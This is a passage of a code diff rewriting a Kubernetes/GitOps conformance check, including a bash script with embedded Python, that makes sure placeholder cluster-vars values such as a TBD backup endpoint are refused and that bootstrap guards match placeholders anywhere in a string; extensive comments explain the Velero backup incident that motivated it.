-    # audited as such (2026-09-12). Its entire input surface is bootstrap/standup.sh (the
-    # placeholder guards) plus clusters/base/cluster-vars.yaml and clusters/<env>/
-    # (the values they guard). ci/touched-requirements.sh keys bootstrap/* to
-    # R-STATE-03 + R-GITOPS-01 and clusters/* to R-ENV-02 + R-GITOPS-01 — so EVERY path that
-    # can break this check already attributes one of the two requirements it declares above.
-    # Requirement-scoped selection therefore cannot hide a breaking change here, and declaring
-    # whole-repo scope would only add runtime, not coverage.
+    # re-audited as such on 2026-09-13 after the restructure changed the input surface.
+    # HALF A reads clusters/base/cluster-vars.yaml plus clusters/<env>/kustomization.yaml;
+    # ci/touched-requirements.sh keys clusters/* to R-ENV-02 + R-GITOPS-01, so every path
+    # that can break HALF A attributes a requirement declared above. HALF B reads whichever
+    # file defines the guard; bootstrap/* is keyed to R-STATE-03 + R-GITOPS-01, which covers
+    # the place a standup guard lands. Requirement-scoped selection therefore cannot hide a
+    # breaking change, and declaring whole-repo scope would only add runtime, not coverage.
+    # The one residual: (A5) reads ci/l0.sh and ci/gate.sh, and ci/* attributes neither
+    # R-ENV-02 nor R-STATE-03 — but that wiring is separately and unconditionally asserted by
+    # the whole-repo-scoped tests/l0-static/whole-repo-invariants-wired, so (A5) here is
+    # belt-and-braces rather than the only proof.
     conformance.home.k3s/safety-critical: "false"
     conformance.home.k3s/executable: "true"
     conformance.home.k3s/intent: >-
-      Every placeholder-shaped value authored in cluster-vars, for any environment
-      overlay, is actually recognised as a placeholder by the real bootstrap guard that
-      is supposed to refuse it — so a value change in one file cannot silently disarm a
-      guard in another and enable velero against an endpoint that does not exist.
+      No environment overlay can ship a placeholder-shaped cluster-vars value that nothing
+      refuses, and where a real bootstrap guard owns such a knob it actually recognises
+      every authored value as a placeholder — so a value change in one file cannot silently
+      disarm a guard in another and enable velero against an endpoint that does not exist.
 spec:
   steps:
-    - name: couple-authored-placeholders-to-the-real-guard
+    - name: refuse-authored-placeholders-and-couple-them-to-any-real-guard
       description: >-
-        Extract the real placeholder predicate from bootstrap/standup.sh, run it against
-        every authored cluster-vars value the repo actually carries, and assert the guard
-        refuses each one an independent detector calls a placeholder.
+        Screen every authored effective cluster-vars value of every environment overlay
+        against an independent placeholder detector, assert empty values are stated rather
+        than inherited, and — when a *_is_placeholder predicate exists anywhere in the tree
+        — extract and execute the REAL guard against those same values.
       try:
         - script:
             content: bash ./check.sh

conformance/tests/l0-static/placeholder-guard-coupling/check.sh

@@ -12,20 +12,74 @@
 # placeholder. Three of those guards keyed on the SHAPE of `S3_BACKUP_ENDPOINT`, which is
 # authored in `clusters/base/cluster-vars.yaml`. On 2026-09-05 the placeholder changed
 # from `TBD-PROD-S3-BACKUP-ENDPOINT` to `https://TBD-R2-ACCOUNT-ID.r2.cloudflarestorage.com`
-# (the MinIO -> Cloudflare R2 move). The guards matched the glob `TBD-*` — a PREFIX match —
-# and `fnmatch('https://TBD-R2-…','TBD-*')` is FALSE. All three guards silently stopped
-# matching. `standup.sh resume` would then have resumed `velero` on prod against a hostname
-# that does not exist: the HelmRelease installs clean, the Kustomization reports Ready, and
-# NO BACKUPS EXIST. The only reason it was not shipped is that someone noticed by accident.
+# (the MinIO -> Cloudflare R2 move, commit 32d6766). The guards matched the glob `TBD-*` —
+# a PREFIX match — and `fnmatch('https://TBD-R2-…','TBD-*')` is FALSE. All three guards
+# silently stopped matching. `standup.sh resume` would then have resumed `velero` on prod
+# against a hostname that does not exist: the HelmRelease installs clean, the Kustomization
+# reports Ready, and NO BACKUPS EXIST. It was found by accident.
 #
-# The predicate is fixed (`s3_is_placeholder`, substring match). The COUPLING is what was
-# never tested: a guard in one file keying on a value in another, with nothing tying them
-# together. This check is that tie, and it is derived from BOTH real files — no current
-# string is hardcoded here, so it does not rot when the placeholder or the guard changes.
+# WHY THIS CHECK WAS REWRITTEN (2026-09-13) — IT WAS SKIPPING FOREVER
+# ------------------------------------------------------------------
+# The original version keyed its ENTIRE existence on `bootstrap/standup.sh` and exited 3
+# (SKIP) when that file was absent. Established by measurement, not assumption:
+#
+#   * `bootstrap/standup.sh` HAS NEVER EXISTED ON `main`. It was not deleted — there is no
+#     deletion commit for it anywhere (`git log --all --diff-filter=D -- bootstrap/standup.sh`
+#     is empty). It lives on unmerged prod-standup branches (`work/prod-standup-campaign`,
+#     `prod/*`, `feat/prod-hardening`) and never landed. `git ls-tree main bootstrap/` lists
+#     only README.md, flux/, gitea/, sops/. docs/BULK-NFS-STORAGE.md §7 already recorded
+#     this, including the consequence: "nothing in the gate currently refuses a
+#     placeholder-shaped overlay value".
+#   * So this check reported SKIP on every gate run since it landed, and SKIPPED IS NOT
+#     GREEN in this repo. An incident-derived test that can only ever skip is the quiet
+#     version of the failure it was written to prevent.
+#   * Worse, the skip was HIDING A RED. Run against the real `standup.sh` from
+#     `work/prod-standup-campaign`, the original check FAILED 2 of 34 assertions — both
+#     false positives from treating the EMPTY STRING as placeholder-shaped for knobs whose
+#     emptiness is deliberately authored (`BACKUP_CREDENTIALS_SUFFIX` and
+#     `VELERO_BACKUP_PREFIX`, both `""` on dev). cluster-vars documents that emptiness as
+#     load-bearing ("THE BASE DEFAULT IS THE EMPTY STRING, AND THAT IS LOAD-BEARING … an
+#     EMPTY VALUE IS SAFE UNDER StrictPostBuildSubstitutions"). So the check would have
+#     false-blocked the moment its own input landed. That is fixed below.
+#
+# THE HAZARD IS NOT GONE, so this coverage is NOT obsolete and was NOT deleted. The
+# invariant has two independent halves, and only one of them needs `standup.sh`:
+#
+#   HALF A — THE AUTHORED VALUES (provable on `main` today, needs NO guard).
+#     No environment overlay may ship a placeholder-shaped effective cluster-vars value.
+#     This is the OUTCOME the 2026-09-05 guard existed to prevent, asserted at the source
+#     instead of at the guard: if prod's `S3_BACKUP_ENDPOINT` is never a placeholder, velero
+#     cannot be pointed at a hostname that does not exist, whether or not a guard catches
+#     it. Its entire input surface is `clusters/`, all of which is on `main`.
+#   HALF B — THE COUPLING (activates automatically when a guard lands).
+#     The real predicate, extracted from the real file and executed, agrees with an
+#     INDEPENDENT detector about every authored value; every consumer of a guarded knob
+#     applies the guard; the guard matches its vocabulary ANYWHERE, not as a prefix.
+#
+# THIS CHECK NEVER EXITS 3. Half A always runs, against real files, with an assertion
+# floor. Half B runs when a guard exists and is reported as NOT PROVEN when one does not —
+# stated loudly in the output rather than swallowed as a skip.
+#
+# THE GUARD IS DISCOVERED, NOT HARDCODED (this is the "re-point" made automatic)
+# -----------------------------------------------------------------------------
+# The original hardcoded `bootstrap/standup.sh`, which is exactly why a file that never
+# landed could disable the whole check. Instead, every tracked `*.sh` in the tree is
+# scanned for a `<name>_is_placeholder()` definition:
+#   * exactly one such FILE  -> that is the guard; Half B runs against it, wherever it is.
+#     A guard that lands at `bootstrap/standup.sh`, or moves to `bootstrap/lib/placeholder.sh`,
+#     is picked up with no edit to this check.
+#   * none                   -> Half A only, with the gap named in the output.
+#   * more than one file     -> FAIL. Two files defining the placeholder vocabulary is the
+#     2026-09-05 divergence with a second file's name on it; this check cannot say which
+#     one a standup run would source.
+# `PLACEHOLDER_GUARD_FILE` overrides discovery (repo-relative) for negative fixtures.
+# NOTE: discovery is shell-only, because the guard family is shell. If the refusal ever
+# moves to a non-shell mechanism (a Kyverno policy, a CEL admission rule), discovery finds
+# nothing and says so — re-point this check deliberately in that change.
 #
 # HOW THE REAL GUARD IS EXERCISED (and why not a copy)
 # ---------------------------------------------------
-# `bootstrap/standup.sh` is NOT sourceable: at top level it parses argv, hard-exits when
+# `standup.sh` is NOT sourceable: at top level it parses argv, hard-exits when
 # --kubeconfig/--expect-server/<step> are absent, `cd`s to the repo root, exports
 # KUBECONFIG, installs an EXIT trap and finally dispatches steps against a live cluster.
 # So this check EXTRACTS the predicate's own source lines from the file and sources ONLY
@@ -35,105 +89,119 @@
 #   * the extracted body must be a SELF-CONTAINED predicate — `case`/`return` and nothing
 #     else, no command substitution, no call to another function. If the guard ever grows
 #     a dependency, extraction stops being faithful and THIS CHECK FAILS LOUDLY, naming the
-#     remedy (move the predicate into a small sourceable library that standup.sh sources)
-#     rather than quietly falling back to testing a copy of the logic;
+#     remedy (move the predicate into a small sourceable library) rather than quietly
+#     falling back to testing a copy of the logic;
 #   * a CANARY pins the extraction itself: the extracted function must refuse the empty
-#     string and accept a realistic endpoint. An extraction that grabbed the wrong lines,
-#     or a predicate degraded to always-true / always-false, fails there — this repo has
-#     already been bitten by a check that passed when perturbed because it asked a question
-#     that was always satisfiable.
+#     string and accept a realistic endpoint.
 # There is deliberately NO second implementation of the matching logic anywhere in this file.
 #
-# THE INDEPENDENT DETECTOR (the other half of the comparison)
-# ----------------------------------------------------------
-# Asking "does the guard agree with the guard?" proves nothing, so the set of
-# placeholder-shaped values is decided by a detector written HERE, whose vocabulary is the
-# UNION of two independent sources:
+# THE INDEPENDENT DETECTOR (and the empty-string distinction the old version got wrong)
+# ------------------------------------------------------------------------------------
+# Asking "does the guard agree with the guard?" proves nothing, so placeholder-shaped is
+# decided by a detector written HERE, whose vocabulary is the UNION of two independent
+# sources:
 #   * SEED — universal loud-placeholder idioms (TBD, TODO, FIXME, PLACEHOLDER, REPLACE-ME,
-#     CHANGE-ME, FILL-ME, SET-ME, XXXX), plus `<angle-bracket>` templates and the empty
-#     string. These are NOT derived from the guard, so DELETING a guard arm cannot make a
-#     value stop being placeholder-shaped — it makes assertion (1) fail, which is the point.
-#     A value using an idiom the guard does not know is a finding either way: fix it by
-#     giving the knob a real value, or by teaching the guard the idiom.
-#   * the guard's OWN vocabulary, read out of its case-arms with the glob anchors STRIPPED.
-#     Stripping the anchors is what makes the comparison non-circular in the dimension that
-#     actually broke: the detector matches a word ANYWHERE, case-insensitively, and the
-#     guard must agree. A prefix-anchored guard cannot pass.
+#     CHANGE-ME, FILL-ME, SET-ME, XXXX), plus `<angle-bracket>` templates. NOT derived from
+#     any guard, so DELETING a guard arm cannot make a value stop being placeholder-shaped.
+#   * the guard's OWN vocabulary (when a guard exists), read out of its case-arms with the
+#     glob anchors STRIPPED. Stripping the anchors is what makes the comparison non-circular
+#     in the dimension that actually broke: the detector matches a word ANYWHERE,
+#     case-insensitively, and the guard must agree. A prefix-anchored guard cannot pass.
+#
+# LOUD vs EMPTY — the correction. A LOUD placeholder is a positive statement that a value
+# was never decided, and it is always a defect in an overlay. The EMPTY STRING is not:
+# cluster-vars authors `""` deliberately for suffix/prefix knobs, and Flux strict
+# substitution fails on an UNDEFINED variable, not on one defined as `""`. So emptiness is
+# NOT treated as a loud placeholder. It is held to a different, real rule instead (A2): an
+# empty effective value must be STATED EXPLICITLY by that overlay, never inherited in
+# silence — which is cluster-vars' own documented convention ("Both overlays state this
+# knob explicitly … so neither inherits it silently"). Emptiness still counts as
+# placeholder-shaped for a knob a GUARD covers, because a `""` case-arm in the guard is the
+# guard author's declaration that empty is not a usable target for that knob.
 #
 # GIVEN the repository as authored,
-# WHEN  the real predicate(s) are extracted from bootstrap/standup.sh and executed,
-# THEN  (1) VALUES: for every knob a guard is responsible for, every authored value — the
-#           base default AND each environment overlay's value — that the independent
-#           detector calls placeholder-shaped is REFUSED by the real guard, and every value
-#           it calls usable is ACCEPTED (a guard that refuses a real endpoint leaves velero
-#           suspended forever, which is the same class of silent failure);
-#       (2) OVERLAYS: no environment overlay's EFFECTIVE cluster-vars carries a
-#           placeholder-shaped value for a knob that no guard refuses. (Base alone is
-#           exempt: it is not a bootstrap target — `flux bootstrap --path=clusters/<env>` —
-#           and its loud sentinels exist precisely to be overridden. A base placeholder an
-#           overlay forgets to override IS caught, because it becomes that overlay's
-#           effective value.)
-#       (3) CONSUMERS: every function in standup.sh that reads a guarded knob (via `cvar`,
-#           following one hop of variable aliasing) applies a placeholder guard to it. This
-#           is the "all three guards died at once" regression stated as a property: the
-#           guard being correct is worthless if a consumer stops calling it.
-#       (4) ANCHORING: for each word in the guard's own vocabulary, the guard refuses a
-#           value carrying that word in the MIDDLE (not at the start) — the precise defect
-#           of 2026-09-05 — while still accepting a realistic endpoint.
-#       (5) HARNESS: exactly one definition per predicate, the extracted body is verbatim
-#           from the file and self-contained, the canary holds, no divergent second copy of
-#           the matching logic exists elsewhere in standup.sh, and a floor on the number of
-#           assertions run keeps a pass from degenerating into a no-op.
-#   AND (6) LOAD-BEARING: ci/l0.sh runs the L0 conformance layer on every gate run and
-#           ci/gate.sh sets the merge block when that stage fails.
+# THEN  HALF A (always):
+#       (A1) VALUES: no environment overlay's EFFECTIVE cluster-vars value is LOUD
+#            placeholder-shaped, for any knob that no guard refuses. (Base alone is exempt:
+#            it is not a bootstrap target — `flux bootstrap --path=clusters/<env>` — and its
+#            loud sentinels exist to be overridden. A base placeholder an overlay forgets to
+#            override IS caught, because it becomes that overlay's effective value.)
+#       (A2) EXPLICITNESS: an empty effective value is stated explicitly by that overlay.
+#       (A3) SENTINEL DISCIPLINE: if base carries a LOUD sentinel for a knob, every overlay
+#            states that knob explicitly — the `TBD-PROD-*` convention only works if no
+#            overlay can inherit the sentinel by omission.
+#       (A4) DETECTOR CANARIES: the detector recognises the exact 2026-09-05 string
+#            MID-STRING, accepts both real endpoints the repo actually ships, and does NOT
+#            call the empty string loud.
+#       (A5) LOAD-BEARING: ci/l0.sh runs the L0 conformance layer on every gate run and
+#            ci/gate.sh sets the merge block when that stage fails.
+#       HALF B (only when a guard file is discovered):
+#       (B1) VALUES: for every knob a guard is responsible for, every authored value — the
+#            base default AND each overlay's value — that the detector calls placeholder-
+#            shaped is REFUSED by the real guard, and every value it calls usable is
+#            ACCEPTED (a guard that refuses a real endpoint leaves velero suspended forever,
+#            the same class of silent failure).
+#       (B2) CONSUMERS: every function that reads a guarded knob (via `cvar`, following one
+#            hop of variable aliasing) applies a placeholder guard to it. This is the "all
+#            three guards died at once" regression stated as a property.
+#       (B3) ANCHORING: for each word in the guard's own vocabulary, the guard refuses a
+#            value carrying that word in the MIDDLE (not at the start) — the precise defect
+#            of 2026-09-05 — while still accepting a realistic endpoint.
+#       (B4) HARNESS: exactly one definition per predicate, one guard FILE in the tree, the
+#            extracted body verbatim and self-contained, the canary holds, no divergent
+#            second copy of the matching logic, and assertion floors keep a pass from
+#            degenerating into a no-op.
 #
 # WHAT THIS DOES *NOT* PROVE (honest gaps)
+#   - While no guard exists on `main`, HALF B IS NOT PROVEN AT ALL, and the check says so on
+#     stdout every run. What is proven is the stronger-at-the-source half: the values a
+#     guard would be asked about are not placeholders in the first place. This is a real
+#     narrowing of coverage versus the intent, and it is reported, not hidden.
 #   - Nothing about RUNTIME: not that the endpoint resolves, not that credentials work, not
 #     that a backup exists. `standup.sh s3check` probes reachability from a pod (operator-
 #     run, cluster-gated) and conformance/tests/l3-fault-injection/dr-restore proves restore.
-#   - It does not execute standup.sh's dispatch path, so it cannot prove the guard is
-#     REACHED in a real run — only that, when reached, it refuses what it must. The
-#     consumer property (3) is a static approximation of reachability: it is a text-level
-#     taint trace over one file, not an interpreter, and a guard whose result is computed
-#     and then ignored would satisfy it.
+#   - Half B does not execute the dispatch path, so it cannot prove the guard is REACHED in
+#     a real run — only that, when reached, it refuses what it must. (B2) is a text-level
+#     taint trace over one file, not an interpreter.
 #   - It says nothing about guards keyed on shapes OTHER than placeholders (e.g. the
 #     EXTERNALDNS_TXT_OWNER_ID == 'default' test), nor about placeholder-shaped values
 #     outside cluster-vars (the Ansible inventory's BLOCKED/NOT-A-DEVICE sentinels are
 #     asserted by the node_baseline role itself, at play time).
-#   - Stage 3b of ci/l0.sh scopes the conformance run to the TOUCHED requirements. An edit
-#     to bootstrap/* attributes NO requirement in ci/touched-requirements.sh's path map, so
-#     the touched set is empty and the FULL L0 layer runs (verified: ci/lib.sh
-#     load_touched_requirements) — this check runs. An edit to clusters/* maps to
-#     R-ENV-02, which this check carries, so a cluster-vars value change also selects it.
-#     A change that touches standup.sh ALONGSIDE some unrelated mapped path (say
-#     platform/cilium/) would scope the run away from this check; closing that needs a
-#     `bootstrap/*` entry in the path map, which is not this check's file to edit.
+#   - A1 reads cluster-vars, not every manifest. A placeholder hardcoded in a manifest
+#     rather than in a knob is out of scope here.
+#
+# SELECTION. `ci/touched-requirements.sh` keys `clusters/*` -> R-ENV-02 (Half A's whole
+# input surface) and `bootstrap/*` -> R-STATE-03 (where a guard lands), so every path that
+# can break this check attributes a requirement it declares. Deliberately requirement-scoped,
+# not whole-repo — see chainsaw-test.yaml.
 # =============================================================================
 set -euo pipefail
 DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
 ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
 PYTHON="${PYTHON:-python3}"
-STANDUP_REL="${STANDUP_REL:-bootstrap/standup.sh}"
+GUARD_OVERRIDE="${PLACEHOLDER_GUARD_FILE:-}"
 
 cd "${ROOT}"
 
-if [ ! -f "${ROOT}/${STANDUP_REL}" ]; then
-  echo "check SKIPPED (placeholder-guard-coupling): ${STANDUP_REL} is absent — nothing to couple." >&2
-  exit 3
+# The authored half of the coupling is the one thing this check cannot do without.
+if [ ! -f "${ROOT}/clusters/base/cluster-vars.yaml" ]; then
+  echo "CHECK FAIL (placeholder-guard-coupling): clusters/base/cluster-vars.yaml is absent — the authored values this check audits do not exist. That is not a SKIP: the knobs this invariant is about have been moved or deleted, and this check must be re-pointed in the SAME change." >&2
+  exit 1
 fi
 
 WORK="$(mktemp -d)"
 trap 'rm -rf "${WORK}"' EXIT
 
 # ---------------------------------------------------------------------------------------
-# PHASE 1 (python): extract the real predicate(s), derive the corpus from the real files,
-# and run every assertion that does not need a shell. Writes:
-#   ${WORK}/guards.sh     the predicate source lines, verbatim, and nothing else
-#   ${WORK}/corpus.tsv    <guard>\t<expect: placeholder|usable>\t<origin>\t<value>
+# PHASE 1 (python): discover the guard, derive the corpus from the real files, and run
+# every assertion that does not need a shell. Writes:
+#   ${WORK}/guards.sh     the predicate source lines, verbatim, and nothing else (may be empty)
+#   ${WORK}/corpus.tsv    <guard>\t<expect: placeholder|usable>\t<origin>\t<value> (may be empty)
 #   ${WORK}/findings.txt  one line per failed assertion
 #   ${WORK}/counts.txt    <assertions-run>
+#   ${WORK}/mode.txt      the discovered guard's repo-relative path, or empty
 # ---------------------------------------------------------------------------------------
-"${PYTHON}" - "${ROOT}" "${WORK}" "${STANDUP_REL}" <<'PY'
+"${PYTHON}" - "${ROOT}" "${WORK}" "${GUARD_OVERRIDE}" <<'PY'
 import re
 import sys
 from pathlib import Path
@@ -145,7 +213,7 @@ except ImportError:                                  # pragma: no cover
           file=sys.stderr)
     raise SystemExit(1)
 
-ROOT, WORK, STANDUP_REL = Path(sys.argv[1]), Path(sys.argv[2]), sys.argv[3]
+ROOT, WORK, OVERRIDE = Path(sys.argv[1]), Path(sys.argv[2]), sys.argv[3]
 FAILURES: list[str] = []
 CHECKS = 0
 
@@ -164,116 +232,159 @@ def bail(msg):
     (WORK / "counts.txt").write_text("0\n")
     (WORK / "corpus.tsv").write_text("")
     (WORK / "guards.sh").write_text("")
+    (WORK / "mode.txt").write_text("")
     raise SystemExit(1)
 
 
-TEXT = (ROOT / STANDUP_REL).read_text()
-LINES = TEXT.splitlines()
-
-# ------------------------------------------------------------------ (5) extract the guard
 DEF_RE = re.compile(r"^([a-z0-9_]+_is_placeholder)\(\)\s*\{")
-defs: dict[str, list[int]] = {}
-for i, line in enumerate(LINES):
-    m = DEF_RE.match(line)
-    if m:
-        defs.setdefault(m.group(1), []).append(i)
+SELF_DIR = ROOT / "conformance" / "tests" / "l0-static" / "placeholder-guard-coupling"
+SKIP_DIRS = {".git", ".claude", "_artifacts", "node_modules", ".venv"}
 
-if not defs:
-    bail(f"{STANDUP_REL} defines no *_is_placeholder predicate. Either the guard was renamed "
-         "(update this check's discovery pattern in the SAME change) or it was DELETED, which "
-         "is the 2026-09-05 failure with the guard removed instead of disarmed.")
+# ------------------------------------------------------------------ discover the guard FILE
+# Hardcoding a path is what let a file that never landed disable this whole check.
+if OVERRIDE:
+    cand = [ROOT / OVERRIDE]
+    if not cand[0].is_file():
+        bail(f"PLACEHOLDER_GUARD_FILE={OVERRIDE} does not exist")
+else:
+    cand = []
+    for p in sorted(ROOT.rglob("*.sh")):
+        if SKIP_DIRS & set(p.parts) or SELF_DIR in p.parents:
+            continue
+        try:
+            text = p.read_text()
+        except (OSError, UnicodeDecodeError):          # pragma: no cover
+            continue
+        if any(DEF_RE.match(line) for line in text.splitlines()):
+            cand.append(p)
 
-# An "argument-shaped" call: <name> "<something>"
-CALL_RE = re.compile(r"\b([a-z0-9_]+_is_placeholder)\s+\"([^\"]*)\"")
+check(len(cand) <= 1,
+      "more than one file defines a *_is_placeholder predicate ("
+      + ", ".join(str(p.relative_to(ROOT)) for p in cand)
+      + ") — two files owning the placeholder vocabulary is the 2026-09-05 divergence with a "
+        "second file's name on it, and this check cannot say which one a standup run would "
+        "source. Keep exactly one, and source it from the other.")
 
+GUARD_REL = str(cand[0].relative_to(ROOT)) if len(cand) == 1 else ""
+(WORK / "mode.txt").write_text(GUARD_REL + "\n")
+
+# --------------------------------------------------------- HALF B setup: extract the guard
 guard_src: list[str] = []
 guard_words: dict[str, list[str]] = {}
-ARM_RE = re.compile(r"^(?P<pats>[^()]*?)\)\s*return\s+[01]\s*;;$")
-ALLOWED = (
-    re.compile(r"^$"),
-    re.compile(r"^#"),
-    re.compile(r"^case\s+\"\$\{?[0-9A-Za-z_]+\}?\"\s+in$"),
-    re.compile(r"^esac$"),
-    re.compile(r"^return\s+[01]$"),
-    ARM_RE,
-)
+funcs: dict[str, list[str]] = {}
+CALL_RE = re.compile(r"\b([a-z0-9_]+_is_placeholder)\s+\"([^\"]*)\"")
 
-for name, at in sorted(defs.items()):
-    check(len(at) == 1,
-          f"{STANDUP_REL} defines {name}() {len(at)} times (lines "
-          f"{', '.join(str(a + 1) for a in at)}) — which one runs depends on file order, and "
-          "this check can no longer say which one it extracted. Keep exactly one definition.")
-    if len(at) != 1:
-        continue
-    start = at[0]
-    end = next((j for j in range(start + 1, len(LINES)) if LINES[j] == "}"), None)
-    if end is None:
-        bail(f"{name}() at {STANDUP_REL}:{start + 1} has no closing brace at column 0 — the "
-             "extraction boundary this check relies on is gone. Restore the conventional "
-             "layout, or move the predicate into a sourceable library and point this check at it.")
-    body = LINES[start:end + 1]
-    block = "\n".join(body)
-    check(block in TEXT,
-          f"extracted {name}() is not a verbatim substring of {STANDUP_REL} — extraction bug; "
-          "the harness would be testing something the script does not contain")
+if GUARD_REL:
+    TEXT = (ROOT / GUARD_REL).read_text()
+    LINES = TEXT.splitlines()
 
-    words: list[str] = []
-    for raw in body[1:-1]:
-        s = raw.strip()
-        if not any(rx.match(s) for rx in ALLOWED) or "$(" in s or "`" in s:
-            bail(f"{name}() at {STANDUP_REL}:{start + 1} is no longer a SELF-CONTAINED "
-                 f"case/return predicate (offending line: {s!r}). This check exercises the REAL "
-                 "function by sourcing its own lines; a body that calls out to anything else "
-                 "cannot be extracted faithfully, and silently testing a COPY of the logic is "
-                 "exactly the failure mode this check exists to prevent. REMEDY: move the "
-                 "predicate into a tiny library that standup.sh sources (e.g. "
-                 "bootstrap/lib/placeholder.sh) and point STANDUP_REL/this extractor at it — do "
-                 "NOT reimplement the matching here.")
-        m = ARM_RE.match(s)
-        if not m:
+    defs: dict[str, list[int]] = {}
+    for i, line in enumerate(LINES):
+        m = DEF_RE.match(line)
+        if m:
+            defs.setdefault(m.group(1), []).append(i)
+
+    ARM_RE = re.compile(r"^(?P<pats>[^()]*?)\)\s*return\s+[01]\s*;;$")
+    ALLOWED = (
+        re.compile(r"^$"),
+        re.compile(r"^#"),
+        re.compile(r"^case\s+\"\$\{?[0-9A-Za-z_]+\}?\"\s+in$"),
+        re.compile(r"^esac$"),
+        re.compile(r"^return\s+[01]$"),
+        ARM_RE,
+    )
+
+    for name, at in sorted(defs.items()):
+        check(len(at) == 1,
+              f"{GUARD_REL} defines {name}() {len(at)} times (lines "
+              f"{', '.join(str(a + 1) for a in at)}) — which one runs depends on file order, and "
+              "this check can no longer say which one it extracted. Keep exactly one definition.")
+        if len(at) != 1:
             continue
-        for pat in m.group("pats").split("|"):
-            pat = pat.strip()
-            if pat in ('""', "''", ""):
-                continue                      # the empty-value arm: covered by the canary
-            words.append(pat.strip("'\"").strip("*"))
-    check(len(words) >= 1,
-          f"{name}() has no non-empty placeholder pattern left — every arm that recognises a "
-          "loud placeholder string has been removed, so the guard now only refuses the empty "
-          "value and any 'TBD'-style endpoint would sail straight through it")
-    guard_words[name] = words
-    guard_src.append(block)
+        start = at[0]
+        end = next((j for j in range(start + 1, len(LINES)) if LINES[j] == "}"), None)
+        if end is None:
+            bail(f"{name}() at {GUARD_REL}:{start + 1} has no closing brace at column 0 — the "
+                 "extraction boundary this check relies on is gone. Restore the conventional "
+                 "layout, or move the predicate into a sourceable library.")
+        body = LINES[start:end + 1]
+        block = "\n".join(body)
+        check(block in TEXT,
+              f"extracted {name}() is not a verbatim substring of {GUARD_REL} — extraction bug; "
+              "the harness would be testing something the script does not contain")
 
-(WORK / "guards.sh").write_text("\n".join(guard_src) + "\n")
+        words: list[str] = []
+        for raw in body[1:-1]:
+            s = raw.strip()
+            if not any(rx.match(s) for rx in ALLOWED) or "$(" in s or "`" in s:
+                bail(f"{name}() at {GUARD_REL}:{start + 1} is no longer a SELF-CONTAINED "
+                     f"case/return predicate (offending line: {s!r}). This check exercises the "
+                     "REAL function by sourcing its own lines; a body that calls out to anything "
+                     "else cannot be extracted faithfully, and silently testing a COPY of the "
+                     "logic is exactly the failure mode this check exists to prevent. REMEDY: "
+                     "move the predicate into a tiny library that the script sources (e.g. "
+                     "bootstrap/lib/placeholder.sh) — discovery will find it — do NOT "
+                     "reimplement the matching here.")
+            m = ARM_RE.match(s)
+            if not m:
+                continue
+            for pat in m.group("pats").split("|"):
+                pat = pat.strip()
+                if pat in ('""', "''", ""):
+                    continue                  # the empty-value arm: covered by the canary
+                words.append(pat.strip("'\"").strip("*"))
+        check(len(words) >= 1,
+              f"{name}() has no non-empty placeholder pattern left — every arm that recognises a "
+              "loud placeholder string has been removed, so the guard now only refuses the empty "
+              "value and any 'TBD'-style endpoint would sail straight through it")
+        guard_words[name] = words
+        guard_src.append(block)
 
-# ------------------------------------------------- no divergent second copy of the logic
-# Any of the guard's own vocabulary appearing in EXECUTABLE text outside the predicate means
-# a second, independently-drifting implementation of the same test (which is how three
-# guards came to disagree with one value in the first place).
-guard_line_nums = {j for name, at in defs.items() if len(at) == 1
-                   for j in range(at[0], next(k for k in range(at[0] + 1, len(LINES))
-                                              if LINES[k] == "}") + 1)}
-all_words = sorted({w.upper() for ws in guard_words.values() for w in ws if w})
-divergent: list[str] = []
-for j, line in enumerate(LINES):
-    if j in guard_line_nums or line.strip().startswith("#"):
-        continue
-    code = line.split("#", 1)[0]
-    hit = [w for w in all_words if w in code.upper()]
-    if hit:
-        divergent.append(f"{STANDUP_REL}:{j + 1} ({', '.join(hit)}): {line.strip()!r}")
-check(not divergent,
-      "the guard's own placeholder vocabulary appears in EXECUTABLE text outside the "
-      f"predicate — a SECOND implementation of the same test, which is precisely how a value "
-      f"change disarmed three guards at once. Call the predicate instead. Sites: "
-      + " | ".join(divergent))
+    if not guard_words:
+        bail(f"{GUARD_REL} was discovered as the guard file but yielded no usable predicate — "
+             "the definitions are there but none could be extracted. Fix the extraction in the "
+             "SAME change; do not let this degrade to a pass.")
+
+    # ------------------------------------------- no divergent second copy of the logic
+    # The guard's own vocabulary in EXECUTABLE text outside the predicate means a second,
+    # independently-drifting implementation of the same test (which is how three guards came
+    # to disagree with one value in the first place).
+    guard_line_nums = {j for name, at in defs.items() if len(at) == 1
+                       for j in range(at[0], next(k for k in range(at[0] + 1, len(LINES))
+                                                  if LINES[k] == "}") + 1)}
+    divergent: list[str] = []
+    _words = sorted({w.upper() for ws in guard_words.values() for w in ws if w})
+    for j, line in enumerate(LINES):
+        if j in guard_line_nums or line.strip().startswith("#"):
+            continue
+        code = line.split("#", 1)[0]
+        hit = [w for w in _words if w in code.upper()]
+        if hit:
+            divergent.append(f"{GUARD_REL}:{j + 1} ({', '.join(hit)}): {line.strip()!r}")
+    check(not divergent,
+          "the guard's own placeholder vocabulary appears in EXECUTABLE text outside the "
+          "predicate — a SECOND implementation of the same test, which is precisely how a value "
+          "change disarmed three guards at once. Call the predicate instead. Sites: "
+          + " | ".join(divergent))
+
+    # function bodies, for the consumer trace
+    FUNC_RE = re.compile(r"^([a-z0-9_]+)\(\)\s*\{")
+    i = 0
+    while i < len(LINES):
+        m = FUNC_RE.match(LINES[i])
+        if m:
+            end = next((j for j in range(i + 1, len(LINES)) if LINES[j] == "}"), len(LINES) - 1)
+            funcs[m.group(1)] = LINES[i + 1:end]
+            i = end + 1
+            continue
+        i += 1
+    check(len(funcs) > 5, f"parsed only {len(funcs)} function(s) out of {GUARD_REL} — the "
+                          "consumer assertion (B2) would be vacuous")
+
+(WORK / "guards.sh").write_text(("\n".join(guard_src) + "\n") if guard_src else "")
 
 # ------------------------------------------------------------- cluster-vars, as authored
 CV = ROOT / "clusters" / "base" / "cluster-vars.yaml"
-if not CV.is_file():
-    bail("clusters/base/cluster-vars.yaml is absent — the authored half of the coupling is "
-         "missing and this check cannot mean anything")
-
 base: dict[str, str] = {}
 for d in yaml.safe_load_all(CV.read_text()):
     if isinstance(d, dict) and d.get("kind") == "ConfigMap" \
@@ -282,12 +393,16 @@ for d in yaml.safe_load_all(CV.read_text()):
 check(len(base) > 5, f"clusters/base/cluster-vars.yaml yielded {len(base)} knob(s) — the "
                      "ConfigMap parse failed, so every value assertion below would be vacuous")
 
+# Effective values per overlay, and WHICH knobs that overlay states explicitly. The second
